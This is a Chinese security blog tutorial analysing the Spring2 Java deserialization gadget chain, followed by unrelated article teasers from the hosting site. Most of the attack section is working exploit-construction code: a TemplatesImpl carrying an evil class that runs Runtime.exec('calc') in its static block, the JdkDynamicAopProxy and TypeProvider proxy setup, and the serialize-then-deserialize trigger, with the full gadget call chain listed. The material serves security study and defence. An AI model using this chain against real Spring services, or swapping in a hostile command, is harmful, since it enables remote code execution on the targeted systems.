JAVA反序列化深入学习(十三):Spring2
让我们回到Spring
Spring2 在 Spring1 的触发链上有所变换:
- 替换了 spring-beans 的
ObjectFactoryDelegatingInvocationHandler- 使用了 spring-aop 的
JdkDynamicAopProxy,并完成了后续触发 TemplatesImpl 的流程简而言之,换了一个chain,而kick-off和sink都没有变动
JAVA环境
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
依赖版本
- spring-core 依赖版本:4.1.4.RELEASE
- spring-aop 依赖版本:4.1.4.RELEASE
- jdk 版本:1.7
检查依赖配置
确认项目中是否正确引入了
- spring-core
- spring-aop
的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:
<!-- https://mvnrepository.com/artifact/org.springframework/spring-aop -->
<dependency><groupId>org.springframework</groupId><artifactId>spring-aop</artifactId><version>4.1.4.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency><groupId>org.springframework</groupId><artifactId>spring-core</artifactId><version>4.1.4.RELEASE</version>
</dependency>
资源下载
- maven spring-aop 4.1.4.RELEASE
- maven spring-core 4.1.4.RELEASE
- Java7 下载
- Spring框架 v4.1.4.RELEASE 源码
前置知识
JdkDynamicAopProxy - chain
org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了
AopProxy接口InvocationHandler接口Serializable接口
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {...
}
invoke
我们来看一下 invoke 方法:
- 获取 AdvisedSupport 里的 TargetSource
- 调用
getTarget()方法返回其中的对象 - 调用
AopUtils#invokeJoinpointUsingReflection()方法反射调用对象的 method 方法并返回
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {MethodInvocation invocation;Object oldProxy = null;boolean setProxyContext = false;TargetSource targetSource = this.advised.targetSource;Class<?> targetClass = null;Object target = null;try {...// May be null. Get as late as possible to minimize the time we "own" the target,// in case it comes from a pool.target = targetSource.getTarget();if (target != null) {targetClass = target.getClass();}// Get the interception chain for this method.List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);// Check whether we have any advice. If we don't, we can fallback on direct// reflective invocation of the target, and avoid creating a MethodInvocation.if (chain.isEmpty()) {// We can skip creating a MethodInvocation: just invoke the target directly// Note that the final invoker must be an InvokerInterceptor so we know it does// nothing but a reflective operation on the target, and no hot swapping or fancy proxying.retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);}else {// We need to create a method invocation...invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);// Proceed to the joinpoint through the interceptor chain.retVal = invocation.proceed();}...}return retVal;...
}
AopUtils#invokeJoinpointUsingReflection
AopUtils#invokeJoinpointUsingReflection() 方法里就是简单的反射调用,核心步骤就是:
ReflectionUtils.makeAccessible(method);将方法设为可用method.invoke(target, args);传参调用方法
public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args)throws Throwable {// Use reflection to invoke the method.try {ReflectionUtils.makeAccessible(method);return method.invoke(target, args);}...
}
由此可以看到 JdkDynamicAopProxy 这个 InvocationHandler 类能出色的完成 TemplatesImpl 的对象调用,可以直接配合 Spring1 中的触发调用链
攻击构造
与 Spring1 类似,如果忘记了Spring1的内容,建议先看一下之前这篇文章
JAVA反序列化深入学习(十一):Spring1
恶意代码主体
与Spring1几乎一致,不再赘述
public void Spring2() throws Exception {// 生成包含恶意类字节码的 TemplatesImpl 类TemplatesImpl tmpl = generateTemplatesImpl();// 使用 AnnotationInvocationHandler 动态代理Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = c.getDeclaredConstructors()[0];constructor.setAccessible(true);Type typeTemplateProxy = JdkDynamicAopProxy(constructor, tmpl);Object objects = TypeProvider(constructor, typeTemplateProxy);writeObjectToFile((Serializable)objects, fileName);readFileObject(fileName);
}
恶意TemplatesImpl构造
生成包含恶意类字节码的 TemplatesImpl 类,跟之前的都类似,不再赘述
protected TemplatesImpl generateTemplatesImpl() throws IOException, NoSuchFieldException, IllegalAccessException {// 读取恶意类存到 bytes[] 数组中byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForSpring2.class"));// 初始化 TemplatesImpl 对象TemplatesImpl tmpl = new TemplatesImpl();Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(tmpl, new byte[][]{bytes});// _name 不能为空Field name = TemplatesImpl.class.getDeclaredField("_name");name.setAccessible(true);name.set(tmpl, "neolock");return tmpl;
}
恶意类构造
跟之前的都类似,不再赘述
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;public class EvilClassForSpring2 extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {// No implementation needed}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) {// No implementation needed}
}
JdkDynamicAopProxy
与Spring1的ObjectFactoryDelegatingInvocationHandler类似,简单描述一下过程:
- 实例化
AdvisedSupport - 将
TargetSource设置为 tmpl,使getTarget方法返回 TemplatesImpl JdkDynamicAopProxy的 invoke 方法触发TargetSource的getTarget,并且会调用method.invoke(getTarget的返回值,args)- 此时返回值被在第2步我们使用动态代理改为了
TemplatesImpl - 接下来需要 method 是
newTransformer(),就可以触发调用链了
- 此时返回值被在第2步我们使用动态代理改为了
- 使用动态代理出的
AdvisedSupport类实例化JdkDynamicAopProxyJdkDynamicAopProxy本身就是个InvocationHandler- 使用它来代理一个类,这样在这个类调用时将会触发
JdkDynamicAopProxy的 invoke 方法
- 使用它来代理一个类,这样在这个类调用时将会触发
- 用
JdkDynamicAopProxy代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类- 代理类同时拥有两个类的方法
- 既能被强转为
TypeProvider.getType()的返回值,又可以在其中找到newTransformer方法
protected Type JdkDynamicAopProxy(Constructor<?> constructor, TemplatesImpl tmpl) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {// 实例化 AdvisedSupportAdvisedSupport as = new AdvisedSupport();as.setTarget(tmpl);// JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget 返回 tmpl,并且会调用 method.invoke(返回值,args)// 此时返回值被我们使用动态代理改为了 TemplatesImpl,接下来需要 method 是 newTransformer(),就可以触发调用链了Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0];aopConstructor.setAccessible(true);// 使用动态代理出的 AdvisedSupport 类实例化 JdkDynamicAopProxyInvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);// JdkDynamicAopProxy 本身就是个 InvocationHandler// 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Type.class, Templates.class}, aopProxy);return typeTemplateProxy;
}
与Spring1的差异
在Spring1,通过 AnnotationInvocationHandler 来将 getObject 的返回值设置为 TemplatesImpl
Map<String, Object> map = new HashMap<String, Object>();map.put("getObject", tmpl);// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
而Spring2则是通过实例化AdvisedSupport,并直接将其TargetSource 设置为 tmpl,从而实现将 getTarget 的返回值设置为 TemplatesImpl
// 实例化 AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tmpl);
而其他部分的代码都类似,可见这里就是核心差异点
TypeProvider
与Spring1一致,没有变动,不再赘述
protected Object TypeProvider(Constructor<?> constructor, Type typeTemplateProxy) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException {// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类HashMap<String, Object> map = new HashMap<>();map.put("getType", typeTemplateProxy);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxyObject typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{typeProviderClass}, invocationHandler);// 初始化 MethodInvokeTypeProviderClass<?> clazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");Constructor<?> cons = clazz.getDeclaredConstructors()[0];cons.setAccessible(true);// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);Field field = clazz.getDeclaredField("methodName");field.setAccessible(true);field.set(objects, "newTransformer");return objects;
}

总结
以上就是 Spring2 链分析的全部内容了,如果理解了 Spring1,那看 Spring2 就很简单了,最后总结一下
利用说明
使用 JdkDynamicAopProxy 替换 ObjectFactoryDelegatingInvocationHandler,并完成最终的调用链
Gadget 总结
- kick-off gadget:
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject - sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer - chain gadget:
org.springframework.aop.framework.JdkDynamicAopProxy#invoke
调用链展示
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()SerializableTypeWrapper.TypeProvider(Proxy).getType()AnnotationInvocationHandler.invoke()ReflectionUtils.invokeMethod()Templates(Proxy).newTransformer()JdkDynamicAopProxy.invoke()AopUtils.invokeJoinpointUsingReflection()TemplatesImpl.newTransformer()
- Java 反序列化漏洞(三) - CB/Groovy/Hibernate/Spring | 素十八
相关文章:
JAVA反序列化深入学习(十三):Spring2
让我们回到Spring Spring2 在 Spring1 的触发链上有所变换: 替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler使用了 spring-aop 的 JdkDynamicAopProxy ,并完成了后续触发 TemplatesImpl 的流程 简而言之,换了一个chain&am…...
Matlab:三维绘图
目录 1.三维曲线绘图命令:plot3 实例——绘制空间直线 实例——绘制三角曲线 2.三维曲线绘图命令:explot3 3.三维网格命令:mesh 实例——绘制网格面 实例——绘制山峰曲面 实例——绘制函数曲线 1.三维曲线绘图命令:plot3 …...
学透Spring Boot — 016. 魔术师 - Spring MVC Conversion Service 类型转换
本文是我的《学透Spring Boot》专栏的第16篇文章,了解更多请移步我的专栏: Postnull的专栏《学透Spring Boot》 目录 遇到问题 日期格式的转换 实现需求 创建转换器 注册转换器 编写Controller 访问测试 存在的问题 解决问题 源码分析 总结 …...
Spring Boot开发三板斧:高效构建企业级应用的核心技法
🧑 博主简介:CSDN博客专家、CSDN平台优质创作者,获得2024年博客之星荣誉证书,高级开发工程师,数学专业,拥有高级工程师证书;擅长C/C、C#等开发语言,熟悉Java常用开发技术,…...
人脸考勤管理一体化系统(人脸识别系统,签到打卡)
人脸考勤管理一体化系统 项目介绍 本项目是基于Flask、SQLAlchemy、face_recognition库的人脸考勤管理一体化系统。 系统通过人脸识别技术实现员工考勤打卡、人脸信息采集、人脸模型训练等功能。 项目采用前后端分离的技术框架,基于Flask轻量级Web框架搭建后端服务…...
大数据(4.3)Hive基础查询完全指南:从SELECT到复杂查询的10大核心技巧
目录 背景一、Hive基础查询核心语法1. 基础查询(SELECT & FROM)2. 条件过滤(WHERE)3. 聚合与分组(GROUP BY & HAVING)4. 排序与限制(ORDER BY & LIMIT) 二、复杂查询实战…...
手搓多模态-03 顶层和嵌入层的搭建
声明:本代码非原创,是博主跟着国外大佬的视频教程编写的,本博客主要为记录学习成果所用。 我们首先开始编写视觉模型这一部分,这一部分的主要功能是接收一个batch的图像,并将其转化为上下文相关的嵌入向量,…...
【经验分享】将qt的ui文件转换为py文件
🌟 嗨,我是命运之光! 🌍 2024,每日百字,记录时光,感谢有你一路同行。 🚀 携手启航,探索未知,激发潜能,每一步都意义非凡。 首先简单的设计一个U…...
常用的国内镜像源
常见的 pip 镜像源 阿里云镜像:https://mirrors.aliyun.com/pypi/simple/ 清华大学镜像:https://pypi.tuna.tsinghua.edu.cn/simple 中国科学技术大学镜像:https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣镜像:https://pypi.doub…...
探秘JVM内部
在我们编写Java代码,点击运行后,会发生什么事呢? 首先,Java源代码会经过Java编译器将其编译成字节码,放在.class文件中 然后这些字节码文件就会被加载到jvm中,然后jvm会读取这些文件,调用相关…...
在HarmonyOS NEXT 开发中,如何指定一个号码,拉起系统拨号页面
大家好,我是 V 哥。 《鸿蒙 HarmonyOS 开发之路 卷1 ArkTS篇》已经出版上市了哈,有需要的朋友可以关注一下,卷2应用开发篇也马上要出版了,V 哥正在紧锣密鼓的写鸿蒙开发实战卷3的教材,卷3主要以项目实战为主࿰…...
利用空间-运动-回波稀疏性进行5D图像重建,以实现自由呼吸状态下肝脏定量磁共振成像(MRI)的加速采集|文献速递--深度学习医疗AI最新文献
Title 题目 5D image reconstruction exploiting space-motion-echo sparsity foraccelerated free-breathing quantitative liver MRI 利用空间-运动-回波稀疏性进行5D图像重建,以实现自由呼吸状态下肝脏定量磁共振成像(MRI)的加速采集 …...
Qt5 Mac系统检查休眠
在开发跨平台应用程序时,有时候我们需要检测系统的状态,比如是否处于休眠或唤醒状态。Qt是一个强大的跨平台应用开发框架,支持多种操作系统,包括Windows、Linux、macOS等。在这个场景下,我们关注的是如何在Qt5.10中检测到系统是否休眠以及在Mac上实现这一功能。本文将深入…...
ZKmall开源商城B2B2C电商用户隐私信息保护策略:数据脱敏全链路实践
随着业务的不断拓展和用户规模的持续扩大,用户隐私信息的保护也面临着前所未有的挑战。下面将深入探讨ZKmall开源商城在数据脱敏方面的实践,以及针对B2B2C电商用户隐私信息的具体保护策略。 数据脱敏,又称数据去标识化或数据匿名化࿰…...
Media streaming mental map
Media streaming is a huge topic with a bunch of scattered technologies, protocols, and formats. You may feel like hearing fragments without seeing the big picture. Let’s build that mental map together — here’s a high-level overview that connects everyt…...
linux Gitkraken 破解
ubuntu 安装 Gitkraken 9.x Pro 版本_gitcracken.git-CSDN博客...
SSL证书颁发机构有哪些呢
证书颁发机构(Certificate Authority, CA)是负责签发和管理数字证书的权威机构,分为公共信任的 CA 和私有/内部 CA。以下是常见的公共信任的 CA 分类及代表机构: 1. 国际知名公共 CA(浏览器/操作系统默认信任ÿ…...
13_pandas可视化_seaborn
导入库 import numpy as np import pandas as pd # import matplotlib.pyplot as plt #交互环境中不需要导入 import seaborn as sns sns.set_context({figure.figsize:[8, 6]}) # 设置图大小 # 屏蔽警告 import warnings warnings.filterwarnings("ignore")关系图 …...
Pgvector的安装
Pgvector的安装 向量化数据的存储,可以为 PostgreSQL 安装 vector 扩展来存储向量化数据 注意:在安装vector扩展之前,请先安装Postgres数据库 vector 扩展的步骤 1、下载vs_BuildTools 下载地址: https://visualstudio.microso…...
如何在大型项目中组织和管理 Vue 3 Hooks?
众所周知,Vue Hooks(通常指 Composition API 中的功能)是 Vue 3 引入的一种代码组织方式,用于更灵活地组合和复用逻辑。但是在项目中大量使用这种写法该如何更好的搭建结构呢?以下是可供参考实践的案例。 一、Hooks 组织原则 单一职责每个 Hook 应专注于完成单一功能,避…...
Django接入 免费的 AI 大模型——讯飞星火(2025年4月最新!!!)
上文有介绍deepseek接入,但是需要 付费,虽然 sliconflow 可以白嫖 token,但是毕竟是有限的,本文将介绍一款完全免费的 API——讯飞星火 目录 接入讯飞星火(免费) 测试对话 接入Django 扩展建议 接入讯飞星火…...
路由器学习
路由器原理 可以理解成把不同的网络打通,实现通信的设备。比如家里的路由器,他就是把家里的内网和互联网(外网)打通。 分类 1.(按应用场景分类) 路由器分为家用的,企业级的,运营…...
Redis 连接:深入解析与优化实践
Redis 连接:深入解析与优化实践 引言 Redis 作为一款高性能的键值型数据库,广泛应用于缓存、会话存储、消息队列等领域。Redis 的连接管理是确保其性能和稳定性的关键。本文将深入探讨 Redis 连接的原理、配置、优化方法以及常见问题,帮助您更好地掌握 Redis 连接技术。 …...
UE5学习记录part14
第17节 enemy behavior 173 making enemies move: AI Pawn Navigation 按P查看体积 So its very important that our nav mesh bounds volume encompasses all of the area that wed like our 因此,我们的导航网格边界体积必须包含我们希望 AI to navigate in and …...
【中间件】使用ElasticSearch提供的RestClientAPI操作ES
一、简介 ElasticSearch提供了RestClient来操作ES,包括对数据的增删改查,可参照官方文档:Java High Level REST Client 二、使用步骤: 可参照官方文档操作 导包 <dependency><groupId>org.elasticsearch.client<…...
Docker的备份与恢复
一、两种基本方式 docker export / import 在服务器上导出容器docker export container_name > container_backup.tar这里使用 > 重定向时默认保存路径为当前运行命令的路径,可以自行指定绝对路径来保存,后续加载时也使用对应的路径即可。 恢复为…...
C++ string 对象的操作(三十五)
1. string 对象的常见操作 下面的表格列出了 string 类型最常用的一些操作以及它们的功能: 操作说明示例os << s将字符串对象 s 写入输出流 os,返回 os。std::cout << s;is >> s从输入流 is 中读取字符串赋给 s(以空白分…...
DAPP实战篇:规划下我们的开发线路
前言 在DApp实战篇:先用前端起个项目一文中我们起了一个前端项目,在后续开发中笔者将带领大家一步步完成这个DAPP,为了方便后续讲解,本篇将完整说明后续我们要进行的开发和思路。 主打前端 实际上一个完整的DAPP是由前端和智能…...
[leetcode] 面试经典 150 题——篇9:二叉树(番外:二叉树的遍历方式)
二叉树的遍历是指按照某种顺序访问二叉树中的每个节点。常见的遍历方式有四种:前序遍历(Pre-order Traversal)、中序遍历(In-order Traversal)、后序遍历(Post-order Traversal)以及层序遍历&am…...
【Elasticsearch】开启大数据分析的探索与预处理之旅
🧑 博主简介:CSDN博客专家,历代文学网(PC端可以访问:https://literature.sinhy.com/#/literature?__c1000,移动端可微信小程序搜索“历代文学”)总架构师,15年工作经验,…...
